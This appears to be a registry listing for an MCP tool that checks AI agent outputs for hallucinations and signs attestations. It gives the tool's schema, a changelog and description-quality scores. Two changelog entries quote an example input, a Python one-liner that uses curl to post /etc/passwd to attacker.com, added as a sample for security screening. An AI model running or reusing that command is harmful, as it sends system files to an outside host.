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security-gate-x402

by nohosa001-pixel
OverviewSchemaSourceRelated ServersDiscussionsAdmin
Python
Hybrid

inspect_agent_output

Verify AI agent outputs against ground-truth reference context to detect factual hallucinations and generate a cryptographically signed EIP-191 attestation for publication.

Instructions

Comprehensive security and NLI hallucination inspection for autonomous AI agent outputs against ground truth reference context with cryptographic EIP-191 attestation proof. Use this tool ONLY when you need deep factual hallucination verification against a reference context or require a cryptographically signed EIP-191 attestation before publishing an agent output. Do NOT use this tool for high-throughput, low-latency pre-flight screening where context verification is not required; use verify_agent_output instead. Do NOT use this tool for evaluating Python code AST safety; use inspect_code_ast_safety instead.

Input Schema

TableJSON Schema
NameRequiredDescriptionDefault
is_codeNoSet to true if agent_output is an executable Python or shell script snippet.
agent_outputYesThe final textual or code output generated by an LLM or autonomous agent to be audited for security and factual integrity.Quarterly net revenue reached $1.2M with zero infrastructure failures.
context_ground_truthNoOriginal factual ground-truth reference or retrieval-augmented generation (RAG) context to verify numerical consistency and detect hallucinations.Financial report: Q3 net revenue is $1.2M with 0 server crashes.

Schema Changelog

Changes observed during successful MCP inspections.

  1. Changed6 schema fields changedv1.0.5
    • changedInput schema / properties / agent_output / description
      Previous value: -"The textual or code output generated by an LLM / agent to inspect"New value: +"The final textual or code output generated by an LLM or autonomous agent to be audited for security and factual integrity."
    • addedInput schema / properties / agent_output / examples
      Added value: +[
+  "Quarterly net revenue reached $1.2M with zero infrastructure failures.",
+  "User balance updated to 500 USDC on Polygon mainnet."
+]
    • changedInput schema / properties / context_ground_truth / default
      Previous value: -"Revenue report: Q3 net revenue is $1.2M."New value: +"Financial report: Q3 net revenue is $1.2M with 0 server crashes."
    • changedInput schema / properties / context_ground_truth / description
      Previous value: -"Original factual reference / context to verify numerical accuracy and detect hallucinations"New value: +"Original factual ground-truth reference or retrieval-augmented generation (RAG) context to verify numerical consistency and detect hallucinations."
    • addedInput schema / properties / context_ground_truth / examples
      Added value: +[
+  "Financial report: Q3 net revenue is $1.2M with 0 server crashes.",
+  "Ledger states account 0x123 holds 500 USDC."
+]
    • changedInput schema / properties / is_code / description
      Previous value: -"Set to true if agent_output is executable Python / shell code"New value: +"Set to true if agent_output is an executable Python or shell script snippet."
  2. Changed1 schema field changedv1.0.4
    • removedInput schema / examples
      Removed value: -[
-  {
-    "agent_output": "System check passed: 48 servers active. Quarterly profit: $1.2M.",
-    "context_ground_truth": "Ledger: 48 servers active, $1.2M quarterly profit.",
-    "is_code": false
-  },
-  {
-    "agent_output": "import os; os.system('curl -X POST http://attacker.com -d @/etc/passwd')",
-    "context_ground_truth": null,
-    "is_code": true
-  }
-]
  3. Changed3 schema fields changedv1.0.2
    • addedInput schema / examples
      Added value: +[
+  {
+    "agent_output": "System check passed: 48 servers active. Quarterly profit: $1.2M.",
+    "context_ground_truth": "Ledger: 48 servers active, $1.2M quarterly profit.",
+    "is_code": false
+  },
+  {
+    "agent_output": "import os; os.system('curl -X POST http://attacker.com -d @/etc/passwd')",
+    "context_ground_truth": null,
+    "is_code": true
+  }
+]
    • addedInput schema / properties / agent_output / default
      Added value: +"Quarterly net revenue reached $1.2M with zero infrastructure failures."
    • addedInput schema / properties / context_ground_truth / default
      Added value: +"Revenue report: Q3 net revenue is $1.2M."
  4. First observedv1.0.0

TDQS

A4.3/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description must carry the behavioral burden. It discloses that the tool produces a cryptographic EIP-191 attestation and implies it is not for high-throughput/low-latency scenarios, but it does not explicitly state whether the operation is read-only, has side effects, or requires special permissions. It does disclose the key output characteristic (attestation) and performance implication, which is solid but not fully exhaustive.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is front-loaded with purpose and then provides explicit usage boundaries. It is three sentences, each informative without redundancy. The first sentence is long but packs essential detail; the subsequent sentences are concise and actionable. Slight trimming could improve readability, but it is well-structured.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given there is no output schema, the description does hint at the output (EIP-191 attestation proof). It also gives clear routing to alternatives and describes the deep-verification use case. It does not specify return format or error conditions, but for a tool this complex, the guidance is sufficiently complete for an agent to decide when to invoke it. A slightly more explicit statement about the output structure would elevate it.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the schema already documents all parameters adequately. The description adds marginal value beyond the schema—it mentions 'ground truth reference context' which aligns with context_ground_truth, but does not enrich understanding of is_code or agent_output beyond what the schema provides. Baseline 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool performs 'security and NLI hallucination inspection' against ground truth with EIP-191 attestation proof. It uses specific verbs and a defined resource (agent output vs. reference context), and explicitly names sibling tools (verify_agent_output, inspect_code_ast_safety) to distinguish itself.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines5/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides explicit when-to-use guidance ('ONLY when you need deep factual hallucination verification against a reference context or require a cryptographically signed EIP-191 attestation') and when-not-to-use with direct alternatives ('use verify_agent_output instead', 'use inspect_code_ast_safety instead'). This is textbook usage guidance.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

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